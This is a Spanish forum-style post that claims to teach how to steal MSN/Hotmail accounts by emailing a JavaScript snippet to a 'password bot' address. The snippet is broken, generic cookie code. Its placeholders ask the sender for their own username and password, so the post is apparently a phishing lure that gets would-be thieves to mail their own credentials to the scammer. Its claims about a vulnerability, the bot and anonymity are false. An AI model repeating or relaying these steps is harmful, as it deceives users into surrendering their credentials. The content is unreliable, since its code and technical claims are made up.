Me tome la libertad de buscar en Internet como robar cuentas de msn y cree una serie de pasos para que puedan entenderlo mejor
Existe una pequeña pero grave vulnerabilidad en el Bot que valida
los datos que llegan al servidor de dawnmu, es imposible
entrar y manipular dicho bot para que te mande los password que tu
quieras a tu correo, pero es posible forzarlo para que lo haga
mediante Javascript. De ese modo el bot es forzado a enviarte
el password que le pidas, ya que si le mandas el script desde
un correo de Hotmail, no tendrá por que resistirse.
a continuación los pasos:
1.- Entra a tu Correo
2.- Ve a redactar, ya que lo que haremos será enviar un email
3.- en la parte que tienes que escribir el correo del destinatario,
escribe la dirección del bot: password5.hg-system@hotmail.com este
es el correo que el administrador puso para bloquear el bot
4.- En asunto escribe:
5.- y en el cuerpo del mensaje debes poner el código Javascript,
con los datos modificados . el código es:
var exp = new Date();
exp.setTime(exp.getTime() + (expDays*24*60*60*1000));
function amt(){
var count = GetCookie('count')
if(count == null) {
SetCookie('count','1')
return 1
}
else {
var newcount = parseInt(count) + 1;
DeleteCookie('count')
SetCookie('EL NOMBRE DE USUARIO O EL DE ALGUN PERSONAJE DE TU VICTIMA)
return count
}
}
function getCookieVal(offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function checkCount(TU NOMBRE DE USUARIO) {
var count = GetCookie('count');
if (count == null) {
count=(TU PASSWORD)
SetCookie('count', count, exp);
6.- Una vez listo dale enviar, e inmediatamente recibirás un mail
del Bot, con los datos que solicitaste. Esto es totalmente anónimo,
ya que el bot es solo una maquina que no graba ningún dato del
Solicitante. Por que piensa que es del mismísimo Server de Hotmail
